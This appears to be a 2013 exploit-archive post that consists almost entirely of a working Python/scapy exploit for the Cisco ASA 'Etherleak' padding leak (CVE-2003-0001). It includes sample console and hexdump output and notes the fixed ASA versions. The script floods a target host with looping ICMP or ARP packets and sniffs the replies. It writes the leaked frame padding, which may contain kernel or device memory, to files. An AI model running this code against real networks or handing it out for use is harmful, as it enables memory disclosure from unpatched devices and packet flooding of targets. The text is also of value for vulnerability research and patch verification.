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12 June 2013

Cisco ASA Ethernet Information Leak

#!/usr/bin/env python
# CVE-2003-0001 'Etherleak' exploit
# =================================
# Exploit for hosts which use a network device driver that pads
# ethernet frames with data which vary from one packet to another,
# likely taken from kernel memory, system memory allocated to
# the device driver, or a hardware buffer on its network interface
# card. Exploit uses scapy with either ICMP or ARP requests as
# this can trigger with either but ICMP can hit layer3 filtering
# rules. Using ARP the padding appears to leak only fixed constant
# values when exploited, ICMP leaks random bytes.
#
# root@bt:~/0d# python cve-2003-0001.py x.x.x.254 icmp leaky
# WARNING: No route found for IPv6 destination :: (no default route?)
# [ CVE-2003-0001 'Etherleak' exploit
# [ Attacking x.x.x.254 for icmp padding saved to leaky.hex
# ............................................................^C!Killing
# !Killing
# root@bt:~/0d# hexdump -C leaky | head
# 00000000 e6 bd a6 9b 90 eb 44 f5 18 a5 29 2a 16 5a 08 ff |......D...)*.Z..|
# 00000010 43 e1 23 07 8f 96 5a 24 3f 3d 33 7d b4 97 7e 18 |C.#...Z$?=3}..~.|
# 00000020 05 c9 7c 2c a5 c0 fa 7a 76 f3 51 c0 fe 07 72 32 |..|,...zv.Q...r2|
# 00000030 9e ad 6a 67 ad 43 58 17 60 43 bc 2b b8 fb cc 70 |..jg.CX.`C.+...p|
# 00000040 99 92 80 84 03 03 6f 8f 18 d3 5b 5e f0 1e 3a 83 |......o...[^..:.|
# 00000050 3d 82 e7 cd 3e 1f 31 74 b0 06 8c a2 7e 14 6b fb |=...>.1t....~.k.|
# 00000060 72 9b ac 64 74 9b a4 d9 23 5b 92 82 0d 0b 31 f0 |r..dt...#[....1.|
# 00000070 a9 4f dd 3f bf 2b 5c 67 6c 22 fa da d0 2b d6 39 |.O.?.+gl"...+.9|
# 00000080 40 58 13 4f 3d bb 48 03 d3 53 3c 5c 44 d2 3d b2 |@X.O=.H..S# 00000090 4f f2 a9 4a 02 80 4e 1b 6c bd 69 89 bd 76 1b 0a |O..J..N.l.i..v..|
#
# This issue has been resolved in ASA 8.4.4.6/8.2.5.32. Cisco Bug reference
# is CSCua88376 and PSIRT-0669464365.
#
# -- prdelka
#
import os
import sys
import signal
import binascii
from scapy.all import *

def signalhandler(signal,id):
 print "!Killing"
 sys.exit(0)

def spawn(host,type):
 if type == 'arp':
 send(ARP(pdst=host),loop=1,nofilter=1)
 elif type == 'icmp':
 send(IP(dst=host)/ICMP(type=8)/'x',loop=1,nofilter=1)

if __name__ == "__main__":
 print "[ CVE-2003-0001 'Etherleak' exploit"
 signal.signal(signal.SIGINT,signalhandler)
 if len(sys.argv) < 4:
 print "[ No! Use with   "
 sys.exit(1)
 type = sys.argv[2]
 if type == 'arp':
 pass
 elif type == 'icmp':
 pass
 else:
 print "Bad type!"
 sys.exit(0)
 pid = os.fork()
 if(pid):
 print "[ Attacking %s for %s padding saved to %s.hex" % (sys.argv[1],sys.argv[2],sys.argv[3])
 spawn(sys.argv[1],sys.argv[2])
 while True:
 if type == 'arp':
 myfilter = "host %s and arp" % sys.argv[1]
 elif type == 'icmp':
 myfilter = "host %s and icmp" % sys.argv[1]
 x = sniff(count=1,filter=myfilter,lfilter=lambda x: x.haslayer(Padding))
 p = x[0]
 if type == 'arp':
 pad = p.getlayer(2)
 if type == 'icmp':
 pad = p.getlayer(4)
 leak = str(pad)
 hexfull = binascii.b2a_hex(leak)
 file = "%s.hex"%sys.argv[3]
 fdesc = open(file,"a")
 fdesc.write(hexfull + "
")
 fdesc.close()
 # 32 bits leaked here for me.
 if type == 'icmp':
 bytes = leak[9:13]
 elif type == 'arp':
 bytes = leak[10:14]
 fdesc = open(sys.argv[3],"ab")
 fdesc.write(bytes)
 fdesc.close()

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